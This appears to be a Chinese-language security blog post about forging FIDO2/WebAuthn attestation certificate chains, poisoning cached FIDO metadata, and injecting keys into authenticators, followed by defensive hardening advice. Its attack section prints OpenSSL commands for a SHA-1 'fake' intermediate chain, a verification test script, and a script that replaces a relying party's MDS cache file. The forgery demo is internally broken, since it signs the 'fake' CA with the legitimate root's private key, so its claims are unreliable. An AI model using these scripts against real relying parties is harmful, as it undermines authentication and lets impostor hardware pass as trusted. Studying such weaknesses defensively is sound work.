Jul 14 2026 Off 摘要 FIDO2/WebAuthn 为无密码认证筑起了坚固的防线,其认证器认证声明通过 X.509 证书链将用户公钥与硬件安全模块绑定。然而,证书路径验证这一经典 X.509 弱点依然潜伏于此:认证声明支持多种格式,部分格式对证书链的深度、签名算法和扩展验证存在容错空间;更危险的是,若攻击者在制造或固件更新阶段向认证器注入私钥,便可伪造认证声明,使恶意硬件通过安全校验,伪装成符合 FIPS 140‑2 的安全元件。 认证声明 WebAuthn 注册与认证声明当用户向依赖方(Relying Party)注册一个 FIDO2 认证器时,认证器会生成一对公私钥,并将公钥连同认证声明(attestation)一起返回。 认证声明的目的是向依赖方证明:公钥确实由真实的认证器生成;认证器具有声称的安全属性(例如,密钥存储在安全元件中);认证器的型号和制造商可被验证。依赖方通过验证认证声明中的证书链或签名,来决定是否信任该认证器。这一步骤是 WebAuthn 信任模型的第一道关口。四种认证声明格式WebAuthn 规范定义了四种认证声明格式,其信任根各异:格式信任根证书链说明Packed认证器制造商 CA 证书可选(X.509 链或自签名)最常见,支持多种算法TPMTPM 制造商证书是(TPM EK/AIK 证书链)基于 TPM 2.0 的远程证明Android KeyAndroid 安全硬件证书是(Android Keystore 证书)由 Google 硬件认证根签发Apple AnonymousApple 匿名化签名否(仅签名,无证书链)设备匿名的隐私保护格式其中 Packed 格式可携带完整的 X.509 证书链,也可仅提供自签名证书(无信任根)。依赖方需通过 FIDO 元数据服务(MDS)下载合法的认证器元数据,并以此验证证书链。MDSFIDO 联盟维护 MDS,存储已认证的认证器元数据,包括:认证器根证书(信任锚)支持的算法和密钥长度安全等级(如 FIPS 认证)依赖方在验证证书链时,必须从 MDS 获取相应的根证书,并执行标准的 X.509 路径验证(RFC 5280)。这便将 FIDO2 的信任模型嫁接到了已有的 PKI 体系上,也继承了 X.509 的全部弱点。 证书路径伪造攻击 X.509 路径验证的经典缺陷X.509 路径验证依赖于证书签发者 DN 与使用者 DN 的匹配、签名算法有效性、证书有效期和扩展项(如 Basic Constraints、Key Usage)。任何一个环节的疏漏都可能导致伪造证书链被接受:弱签名算法:若根 CA 或中间 CA 使用 SHA‑1 签名,攻击者可构造具有相同签名的伪造证书(碰撞攻击)。缺少 Basic Constraints 检查:若依赖方未验证中间 CA 证书的 CA:TRUE 标记,攻击者可用最终实体证书签署另一个最终实体证书。名称约束绕过:某些 CA 证书未设置名称约束,攻击者可为任意域名签发合法证书。在 WebAuthn 场景下,依赖方通常仅验证证书链是否到达一个已知的 MDS 根。若 MDS 中包含使用 SHA‑1 签名的旧根,攻击者便可能伪造一条中间 CA 链。SHA-1碰撞迁移2017 年 SHAttered 攻击证明了 SHA‑1 碰撞的可行性。虽然现代浏览器已禁止 TLS 证书使用 SHA‑1,但 FIDO MDS 中仍可能存在签发给旧版认证器的 SHA‑1 根证书。攻击者可利用类似技术,生成一对不同的认证器证书(一个合法、一个恶意),它们具有相同的 SHA‑1 签名。只要恶意证书的链能链接到 MDS 中的 SHA‑1 根,依赖方就会信任它。证书注入与 MDS 缓存投毒即便 MDS 本身使用 TLS 保护,依赖方通常在本地缓存 MDS 数据,更新周期可能为 24 小时或更长。攻击者若能在更新窗口内实施中间人攻击(如通过 ARP 欺骗或 DNS 劫持),注入伪造的 MDS 响应(含攻击者的根证书),即可永久劫持该依赖方的信任锚。因为 MDS 缓存文件多位于本地文件系统,权限通常为可写,攻击者在获得主机访问权后也可直接替换。 密钥注入 制造阶段的私钥注入认证器的私钥理应在安全元件内部生成且不可导出。但如果攻击者控制了认证器的供应链(如代工厂、固件更新流程),可预先将私钥和对应的 X.509 证书烧录到认证器中。这样,攻击者既知道私钥(可用于签名伪造),又能在认证声明中提供看似合法的证书链,因为该证书链可能是用泄露的某厂商中间 CA 签发。这种攻击绕过了所有的证书路径验证,因为攻击者持有真正的私钥,所有签名都合法。固件更新中的密钥替换许多 FIDO2 认证器支持固件更新。如果更新过程中没有严格的代码签名验证,或者签名验证存在漏洞(如未检查固件版本回退),攻击者可能刷入恶意固件,替换认证器内部的私钥或注入后门。此时认证声明仍然有效,但私钥已泄。 伪造 Packed 认证声明 生成含弱签名的伪造证书链 # 使用 OpenSSL 生成一个 SHA-1 中间 CA,然后用它签发伪造的认证器证书 # 假设已经有一个合法的 MDS 根 ca_root.crt # 创建攻击者控制的中间 CA(使用弱算法 SHA-1) openssl genpkey -algorithm RSA -out fake_intermediate.key -pkeyopt rsa_keygen_bits:2048 openssl req -new -key fake_intermediate.key -out fake_intermediate.csr -subj "/CN=Fake Intermediate CA" openssl x509 -req -in fake_intermediate.csr -CA ca_root.crt -CAkey ca_root.key -CAcreateserial \ -out fake_intermediate.crt -days 365 -sha1 -extfile <(echo"basicConstraints=CA:TRUE") # 生成认证器密钥和证书(最终实体) openssl genpkey -algorithm EC -pkeyopt ec_paramgen_curve:P-256 -out auth_key.pem openssl req -new -key auth_key.pem -out auth_cert.csr -subj "/CN=Attestation Key" openssl x509 -req -in auth_cert.csr -CA fake_intermediate.crt -CAkey fake_intermediate.key \ -CAcreateserial -out auth_cert.crt -days 180 -sha256 # 将证书链打包(顺序:最终实体 -> 中间 CA -> 根) cat auth_cert.crt fake_intermediate.crt ca_root.crt > cert_chain.pem 说明:如果依赖方仅验证签名有效性,而不检查中间 CA 证书的签名算法,那么这条使用 SHA‑1 签名的中间 CA 链将被接受。利用碰撞伪造合法证书工具 shambles 可用于对 SHA‑1 内容进行碰撞攻击,但构造合法的证书需要极深的专业知识。此处给出概念代码来演示如何验证伪造的证书链: # verify_fake.py — 尝试用 py_webauthn 验证伪造的认证声明 from webauthn.verification import verify_attestation_certificate_chain from cryptography import x509 from cryptography.hazmat.backends import default_backend # 加载伪造的证书链 with open("cert_chain.pem", "rb") as f: chain_pem = f.read() # 加载 MDS 根(合法) with open("mds_root.crt", "rb") as f: root_pem = f.read() # 使用 py_webauthn 的内部验证(会抛出异常若失败) try: verify_attestation_certificate_chain( chain_pem, root_pem, attestation_type="packed" ) print("[!] 伪造证书链验证通过!") except Exception as e: print(f"验证失败: {e}") 说明:依赖于 py_webauthn 库的具体实现,若该库未严格检查中间 CA 的签名算法,上述伪造链可能通过验证。MDS 缓存投毒脚本 # mds_poison.py — 演示替换本地 MDS 缓存 import os import shutil # 攻击者准备好的恶意 MDS JSON 文件,包含攻击者的根证书 malicious_mds = "fake_mds.json" # 目标依赖方的 MDS 缓存路径(常见位置) target_mds_path = "/var/lib/webauthn/metadata.json" if os.path.exists(target_mds_path): shutil.copyfile(malicious_mds, target_mds_path) print(f"[+] MDS 缓存已替换为恶意版本") else: print("[-] 目标路径不存在") 检测与防御 强制签名算法与证书扩展检查依赖方在验证证书链时,应强制要求:所有证书的签名算法至少为 SHA‑256(禁止 SHA‑1、MD5)。检查 Basic Constraints 扩展,确保中间 CA 证书标记为 CA:TRUE,最终实体证书标记为 CA:FALSE。验证 Key Usage 和 Extended Key Usage 是否与证书角色一致。启用证书透明度(CT):对于公开展示的认证器根证书,可要求其已记录在 CT 日志中。MDS 缓存安全加固为 MDS 缓存文件设置只读权限,并定期校验其哈希值。使用 TLS 1.3 并固定 MDS 服务器的证书公钥(certificate pinning),防止中间人攻击。缩短 MDS 缓存刷新间隔,并对下载的元数据做数字签名验证(MDS 本身使用 JWS 签名)。认证器硬件安全评估要求认证器通过 FIPS 140‑2 Level 2 以上认证,确保密钥生成在安全元件内部。对供应链进行审计,确保固件更新有端到端签名验证,并且不允许密钥导出。 结语 WebAuthn 将信任的根基植于认证器硬件与 X.509 证书体系之中,却也悄然承接了 PKI 的历史包袱。证书路径伪造与密钥注入攻击并不需要攻破生物特征或旁路 FIDO 协议本身,只需在信任链最薄弱的一环——证书验证——找到裂缝。对于依赖方开发者而言,仅调用库函数默认验证远远不够;必须深入 X.509 路径验证的细节,强制禁用弱算法,加固 MDS 缓存,并建立对认证器供应链的持续信任评估。 Post navigation Previous PostPrevious QUIC 的 CID 旋转门Next PostNext WebAssembly 线性内存幻境